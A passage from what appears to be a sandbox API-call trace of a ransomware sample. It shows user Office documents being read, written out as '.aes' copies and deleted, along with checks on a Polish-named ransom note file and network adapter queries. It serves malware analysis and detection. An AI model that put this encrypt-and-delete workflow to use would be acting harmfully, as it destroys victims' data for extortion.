lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.494] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.495] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.495] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.496] WriteFile (in: hFile=0x8dc, lpBuffer=0x26d09c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26d09c8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.496] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.496] WriteFile (in: hFile=0x8dc, lpBuffer=0x26d09c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26d09c8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.496] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x25c, lpOverlapped=0x0) returned 1 [0080.497] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0080.497] WriteFile (in: hFile=0x8dc, lpBuffer=0x26d09c8*, nNumberOfBytesToWrite=0x371, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26d09c8*, lpNumberOfBytesWritten=0x77ce974*=0x371, lpOverlapped=0x0) returned 1 [0080.497] WriteFile (in: hFile=0x8dc, lpBuffer=0x26d09c8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26d09c8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0080.497] CloseHandle (hObject=0x8dc) returned 1 [0080.498] CloseHandle (hObject=0x8e4) returned 1 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx", lpFilePart=0x0) returned 0x29 [0080.498] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\lcptyhqe.xlsx")) returned 1 [0080.499] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0080.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0080.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0080.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0080.499] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0080.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx", lpFilePart=0x0) returned 0x33 [0080.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0080.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx" (normalized: "c:\\users\\kft6utqw\\documents\\m-puio0zggg_ddsrzn.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f52820, ftCreationTime.dwHighDateTime=0x1d2f96b, ftLastAccessTime.dwLowDateTime=0xbdf54370, ftLastAccessTime.dwHighDateTime=0x1d3255d, ftLastWriteTime.dwLowDateTime=0xbdf54370, ftLastWriteTime.dwHighDateTime=0x1d3255d, nFileSizeHigh=0x0, nFileSizeLow=0x8d4e)) returned 1 [0080.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0080.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx", lpFilePart=0x0) returned 0x33 [0080.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0080.575] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx" (normalized: "c:\\users\\kft6utqw\\documents\\m-puio0zggg_ddsrzn.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0080.575] GetFileType (hFile=0x8e4) returned 0x1 [0080.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0080.575] GetFileType (hFile=0x8e4) returned 0x1 [0080.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx.aes", lpFilePart=0x0) returned 0x37 [0080.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0080.575] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\m-puio0zggg_ddsrzn.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0080.576] GetFileType (hFile=0x8dc) returned 0x1 [0080.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0080.576] GetFileType (hFile=0x8dc) returned 0x1 [0080.576] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0080.607] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0080.607] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0080.617] LocalFree (hMem=0x703ef10) returned 0x0 [0080.617] GetAdaptersAddresses () returned 0x6f [0080.623] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0080.623] GetAdaptersAddresses () returned 0x0 [0080.628] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.635] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.635] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.647] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.647] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.656] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.656] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.664] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.665] LocalFree (hMem=0x7074460) returned 0x0 [0080.665] GetBestInterfaceEx (in: pDestAddr=0x26eba44*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0080.769] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\m-puIO0ZGGG_DdsrzN.docx" (normalized: "c:\\users\\kft6utqw\\documents\\m-puio0zggg_ddsrzn.docx")) returned 1 [0080.770] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0080.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0080.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0080.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0080.770] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0080.813] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx", lpFilePart=0x0) returned 0x27 [0080.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0080.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx" (normalized: "c:\\users\\kft6utqw\\documents\\nfjvj4.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfa7130, ftCreationTime.dwHighDateTime=0x1d2f7d5, ftLastAccessTime.dwLowDateTime=0xe036da60, ftLastAccessTime.dwHighDateTime=0x1d2ed55, ftLastWriteTime.dwLowDateTime=0xe036da60, ftLastWriteTime.dwHighDateTime=0x1d2ed55, nFileSizeHigh=0x0, nFileSizeLow=0x5d61)) returned 1 [0080.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0080.813] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx", lpFilePart=0x0) returned 0x27 [0080.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0080.813] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx" (normalized: "c:\\users\\kft6utqw\\documents\\nfjvj4.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0080.814] GetFileType (hFile=0x7ec) returned 0x1 [0080.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0080.814] GetFileType (hFile=0x7ec) returned 0x1 [0080.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx.aes", lpFilePart=0x0) returned 0x2b [0080.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0080.814] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\nfjvj4.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0080.814] GetFileType (hFile=0x8e4) returned 0x1 [0080.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0080.814] GetFileType (hFile=0x8e4) returned 0x1 [0080.814] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0080.822] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0080.822] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0080.829] LocalFree (hMem=0x703ef10) returned 0x0 [0080.829] GetAdaptersAddresses () returned 0x6f [0080.834] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0080.834] GetAdaptersAddresses () returned 0x0 [0080.839] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.845] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.845] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.905] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.906] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.912] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.912] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.918] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.919] LocalFree (hMem=0x7074460) returned 0x0 [0080.919] GetBestInterfaceEx (in: pDestAddr=0x2862d80*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0080.987] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\nfjvj4.docx" (normalized: "c:\\users\\kft6utqw\\documents\\nfjvj4.docx")) returned 1 [0080.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0080.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0080.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0080.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0080.994] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0081.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx", lpFilePart=0x0) returned 0x2c [0081.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0081.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\q7ikh0ztpga.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7383360, ftCreationTime.dwHighDateTime=0x1d2c3b8, ftLastAccessTime.dwLowDateTime=0xa496e700, ftLastAccessTime.dwHighDateTime=0x1d2eda7, ftLastWriteTime.dwLowDateTime=0xa496e700, ftLastWriteTime.dwHighDateTime=0x1d2eda7, nFileSizeHigh=0x0, nFileSizeLow=0x26bc)) returned 1 [0081.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0081.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx", lpFilePart=0x0) returned 0x2c [0081.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0081.064] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\q7ikh0ztpga.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0081.064] GetFileType (hFile=0x7ec) returned 0x1 [0081.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0081.064] GetFileType (hFile=0x7ec) returned 0x1 [0081.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx.aes", lpFilePart=0x0) returned 0x30 [0081.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0081.064] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\q7ikh0ztpga.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0081.064] GetFileType (hFile=0x8e4) returned 0x1 [0081.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0081.065] GetFileType (hFile=0x8e4) returned 0x1 [0081.065] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0081.088] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0081.088] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0081.095] LocalFree (hMem=0x703ef10) returned 0x0 [0081.095] GetAdaptersAddresses () returned 0x6f [0081.100] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0081.100] GetAdaptersAddresses () returned 0x0 [0081.105] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.111] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.111] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.117] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.118] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.129] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.129] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.136] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.136] LocalFree (hMem=0x7074460) returned 0x0 [0081.136] GetBestInterfaceEx (in: pDestAddr=0x284a9bc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0081.233] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\q7IKH0zTPGa.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\q7ikh0ztpga.pptx")) returned 1 [0081.234] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0081.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0081.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0081.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0081.234] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0081.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx", lpFilePart=0x0) returned 0x2a [0081.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0081.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx" (normalized: "c:\\users\\kft6utqw\\documents\\qis2t0idi.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb096d9c0, ftCreationTime.dwHighDateTime=0x1d2d85d, ftLastAccessTime.dwLowDateTime=0xfae52f40, ftLastAccessTime.dwHighDateTime=0x1d32ef7, ftLastWriteTime.dwLowDateTime=0xfae52f40, ftLastWriteTime.dwHighDateTime=0x1d32ef7, nFileSizeHigh=0x0, nFileSizeLow=0x10de5)) returned 1 [0081.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0081.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: 